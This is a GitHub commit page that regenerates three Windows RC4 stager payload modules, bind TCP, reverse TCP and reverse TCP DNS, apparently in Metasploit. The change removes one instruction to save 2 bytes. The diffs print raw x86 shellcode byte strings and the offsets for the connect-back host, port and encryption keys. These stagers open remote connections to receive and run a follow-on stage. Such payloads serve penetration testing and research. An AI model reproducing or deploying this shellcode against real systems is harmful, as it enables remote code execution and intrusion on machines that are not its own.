Skip to content

Commit 4a17a30

Browse files
committed
Regenerate ruby modules
For shellcode changes (removed unneeded instruction) committed in 46a5c4f. Saves 2 bytes per shellcode.
1 parent 754b32e commit 4a17a30

File tree

3 files changed

+11
-12
lines changed

3 files changed

+11
-12
lines changed

modules/payloads/stagers/windows/bind_tcp_rc4.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ def initialize(info = {})
3434
'RequiresMidstager' => false,
3535
'Offsets' => { 'LPORT' => [ 200, 'n' ], 'XORKey' => [ 260, '' ], 'RC4Key' => [ 324, '' ] },
3636
'Payload' =>
37-
# Length: 413 bytes
37+
# Length: 411 bytes
3838
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
3939
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
4040
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
@@ -58,9 +58,9 @@ def initialize(info = {})
5858
"\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70" +
5959
"\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01" +
6060
"\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A" +
61-
"\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\x31\xD2" +
62-
"\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14" +
63-
"\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
61+
"\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0" +
62+
"\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A" +
63+
"\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
6464
}
6565
))
6666

modules/payloads/stagers/windows/reverse_tcp_rc4.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ def initialize(info = {})
3434
'RequiresMidstager' => false,
3535
'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'], 'XORKey' => [ 252, '' ], 'RC4Key' => [ 316, '' ] },
3636
'Payload' =>
37-
# Length: 405 bytes
37+
# Length: 403 bytes
3838
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
3939
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
4040
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
@@ -58,9 +58,9 @@ def initialize(info = {})
5858
"\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA" +
5959
"\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89" +
6060
"\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07" +
61-
"\xFE\xC0\x75\xE8\x31\xDB\x31\xD2\xFE\xC0\x02\x1C\x07\x8A\x14\x07" +
62-
"\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45" +
63-
"\x49\x75\xE5\x5F\xC3"
61+
"\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14" +
62+
"\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75" +
63+
"\xE5\x5F\xC3"
6464
}
6565
))
6666

modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def initialize(info = {})
3535
'Offsets' => { 'HostName' => [ 248, '' ], 'LPORT' => [ 212, 'n' ], 'ReverseConnectRetries' => [ 207, 'C'], 'XORKey' => [ 329, '' ], 'RC4Key' => [ 393, '' ] },
3636
'Payload' =>
3737
# Name: stager_reverse_tcp_rc4_dns
38-
# Length: 482 bytes
38+
# Length: 480 bytes
3939
# Port Offset: 212
4040
# HostName Offset: 248
4141
# RetryCounter Offset: 206 <-- this white lie causes stage0 to hang
@@ -70,9 +70,8 @@ def initialize(info = {})
7070
"\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" +
7171
"\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" +
7272
"\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" +
73-
"\xE8\x31\xDB\x31\xD2\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F" +
74-
"\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5" +
75-
"\x5F\xC3"
73+
"\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14" +
74+
"\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
7675
}
7776
))
7877

0 commit comments

Comments
 (0)